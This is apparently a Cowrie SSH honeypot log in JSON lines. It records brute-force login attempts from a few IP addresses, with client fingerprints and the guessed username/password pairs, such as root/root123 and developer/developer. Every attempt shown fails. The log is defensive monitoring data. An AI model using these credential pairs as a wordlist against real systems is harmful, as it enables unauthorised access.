{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:10.630573Z","src_ip":"176.65.139.95","session":"c7a22bcf15df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:11.716038Z","src_ip":"176.65.139.95","session":"c7a22bcf15df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53088,"dst_ip":"159.203.135.109","dst_port":22,"session":"f53736bc6175","protocol":"ssh","message":"New connection: 176.65.139.95:53088 (159.203.135.109:22) [session: f53736bc6175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:16.704172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:16.709236Z","src_ip":"176.65.139.95","session":"f53736bc6175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:16.791472Z","src_ip":"176.65.139.95","session":"f53736bc6175","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:17.350696Z","src_ip":"176.65.139.95","session":"f53736bc6175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:18.434476Z","src_ip":"176.65.139.95","session":"f53736bc6175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35364,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dbed5de7db0","protocol":"ssh","message":"New connection: 176.65.139.95:35364 (159.203.135.109:22) [session: 8dbed5de7db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:23.599265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:23.621860Z","src_ip":"176.65.139.95","session":"8dbed5de7db0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:23.698123Z","src_ip":"176.65.139.95","session":"8dbed5de7db0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd1","message":"login attempt [root/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:24.020256Z","src_ip":"176.65.139.95","session":"8dbed5de7db0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:25.115784Z","src_ip":"176.65.139.95","session":"8dbed5de7db0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36310,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7868b8c277c","protocol":"ssh","message":"New connection: 176.65.139.95:36310 (159.203.135.109:22) [session: f7868b8c277c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:30.044901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:30.052836Z","src_ip":"176.65.139.95","session":"f7868b8c277c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:30.148673Z","src_ip":"176.65.139.95","session":"f7868b8c277c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:30.543766Z","src_ip":"176.65.139.95","session":"f7868b8c277c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:31.773879Z","src_ip":"176.65.139.95","session":"f7868b8c277c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36324,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ed753f3aec9","protocol":"ssh","message":"New connection: 176.65.139.95:36324 (159.203.135.109:22) [session: 6ed753f3aec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:36.636617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:36.645371Z","src_ip":"176.65.139.95","session":"6ed753f3aec9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:36.728574Z","src_ip":"176.65.139.95","session":"6ed753f3aec9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:37.059833Z","src_ip":"176.65.139.95","session":"6ed753f3aec9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:38.153929Z","src_ip":"176.65.139.95","session":"6ed753f3aec9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34150,"dst_ip":"159.203.135.109","dst_port":22,"session":"44655d7ec970","protocol":"ssh","message":"New connection: 176.65.139.95:34150 (159.203.135.109:22) [session: 44655d7ec970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:43.233368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:43.238029Z","src_ip":"176.65.139.95","session":"44655d7ec970","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:43.326199Z","src_ip":"176.65.139.95","session":"44655d7ec970","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:43.600391Z","src_ip":"176.65.139.95","session":"44655d7ec970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:44.706534Z","src_ip":"176.65.139.95","session":"44655d7ec970","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46406,"dst_ip":"159.203.135.109","dst_port":22,"session":"680540fc75b7","protocol":"ssh","message":"New connection: 159.203.92.129:46406 (159.203.135.109:22) [session: 680540fc75b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:48.108008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:48.116722Z","src_ip":"159.203.92.129","session":"680540fc75b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:48.121441Z","src_ip":"159.203.92.129","session":"680540fc75b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"HQ","password":"HQ","message":"login attempt [HQ/HQ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:48.136902Z","src_ip":"159.203.92.129","session":"680540fc75b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:49.144780Z","src_ip":"159.203.92.129","session":"680540fc75b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36434,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a4ddd1a613d","protocol":"ssh","message":"New connection: 176.65.139.95:36434 (159.203.135.109:22) [session: 2a4ddd1a613d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:49.771727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:49.775575Z","src_ip":"176.65.139.95","session":"2a4ddd1a613d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:49.899394Z","src_ip":"176.65.139.95","session":"2a4ddd1a613d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:50.422093Z","src_ip":"176.65.139.95","session":"2a4ddd1a613d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:51.510245Z","src_ip":"176.65.139.95","session":"2a4ddd1a613d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36450,"dst_ip":"159.203.135.109","dst_port":22,"session":"28dbe8c685a2","protocol":"ssh","message":"New connection: 176.65.139.95:36450 (159.203.135.109:22) [session: 28dbe8c685a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:56.303437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:56.327807Z","src_ip":"176.65.139.95","session":"28dbe8c685a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:56.551670Z","src_ip":"176.65.139.95","session":"28dbe8c685a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpt","password":"gpt","message":"login attempt [gpt/gpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:57.104382Z","src_ip":"176.65.139.95","session":"28dbe8c685a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:58.189833Z","src_ip":"176.65.139.95","session":"28dbe8c685a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36460,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c551ed67207","protocol":"ssh","message":"New connection: 176.65.139.95:36460 (159.203.135.109:22) [session: 9c551ed67207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:02.946258Z"}
